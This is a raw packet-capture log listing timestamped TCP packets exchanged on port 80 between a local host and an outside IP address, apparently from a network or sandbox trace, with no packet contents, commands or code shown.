Oct 31, 2024 07:14:32.514138937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.514154911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514158010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.514167070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514187098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514197111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.514197111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514208078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514218092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.514219046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514236927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514239073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.514250040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514261007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514271021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514287949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.514301062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514307022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.514312983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514323950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514333010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.514374018 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.514394999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514405966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514415979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514431000 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.514465094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.514549017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514558077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514569044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514580965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514590979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514596939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.514601946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514615059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514626026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514630079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.514652014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514668941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.514693022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514703989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514703989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.514745951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.514770985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514781952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514800072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514816046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.514818907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514834881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514837027 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.514851093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514872074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.514895916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.514978886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.514990091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.515002012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.515012026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.515022993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.515022993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.515038013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.515043974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.515050888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.515074015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.515079975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.515089989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.515127897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.515141964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.515152931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.515163898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.515175104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.515196085 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.515223980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.515227079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.515239954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.515249968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.515276909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.515280008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.515290976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.515295982 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.515302896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.515331030 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.515367031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.556267023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.556277990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.556294918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.556304932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.556314945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.556324959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.556349993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.556401968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.631603956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.631613016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.631673098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.631681919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.631695986 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.631752014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.631834984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.631855011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.631865025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.631881952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.631907940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.631921053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.631922960 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.631932020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.631968021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.631994009 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.632100105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.632110119 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.632123947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.632143021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.632145882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.632154942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.632167101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.632185936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.632208109 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.632879019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.632900953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.632931948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.632941961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.632953882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.632985115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.632992029 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.632997036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633019924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.633033991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.633052111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633061886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633071899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633084059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633093119 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.633146048 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.633173943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633186102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633194923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633204937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633223057 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.633240938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633244038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.633255959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633271933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633284092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633289099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.633296967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633335114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.633339882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633351088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633361101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633378029 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.633418083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.633491039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633502960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633512974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633523941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633533955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633537054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.633546114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633557081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633563042 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.633568048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633589983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.633625031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.633650064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633662939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633676052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633686066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633694887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.633696079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633708954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633737087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.633769989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.633786917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633797884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633807898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633817911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633833885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633845091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633845091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.633857012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633867025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633872032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.633877993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633898973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.633907080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633917093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633923054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.633930922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633946896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.633953094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.633972883 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.634015083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.634041071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634052992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634062052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634073019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634082079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634088039 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.634094000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634125948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.634161949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.634191990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634202957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634213924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634222031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634232998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634242058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634246111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.634253025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634263992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634284019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634294033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634294033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.634306908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634327888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.634346008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634346962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.634356976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634367943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634380102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634386063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.634439945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.634458065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634469032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634480000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634489059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634502888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634507895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.634515047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634526014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634535074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.634537935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634586096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.634633064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634645939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634656906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634666920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634676933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634687901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634696960 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.634702921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634727955 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.634727955 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.634751081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634757042 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.634771109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634783983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634793043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634804010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.634819984 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.634871006 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.675364971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.675384998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.675394058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.675415039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.675436020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.675445080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.675467968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.675476074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.675527096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.750741959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.750914097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.750924110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.750935078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.750943899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.750953913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.750965118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.750976086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.750987053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.750994921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.751040936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.751055956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.751076937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.751087904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.751135111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.751152039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.751199961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.751208067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.751262903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.751277924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.751338005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.751352072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.751379967 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.751822948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.751832962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.751843929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.751880884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.751882076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.751893044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.751908064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.751919031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.751919985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.751952887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.751971960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.751980066 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.751983881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.751996994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752024889 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.752034903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.752043009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752053976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752090931 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.752095938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752109051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752119064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752142906 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.752163887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.752243042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752259970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752270937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752280951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752290964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752300978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752311945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.752321005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752331018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752341032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752351046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752360106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.752362013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752373934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752374887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.752383947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752394915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752419949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.752437115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.752440929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752451897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752463102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752474070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752500057 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.752516031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.752523899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752533913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752572060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752580881 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.752616882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.752645016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752656937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752696991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:32.752701998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:32.752712965 CET	80	49758	185.215.113.206	192.168.2.4
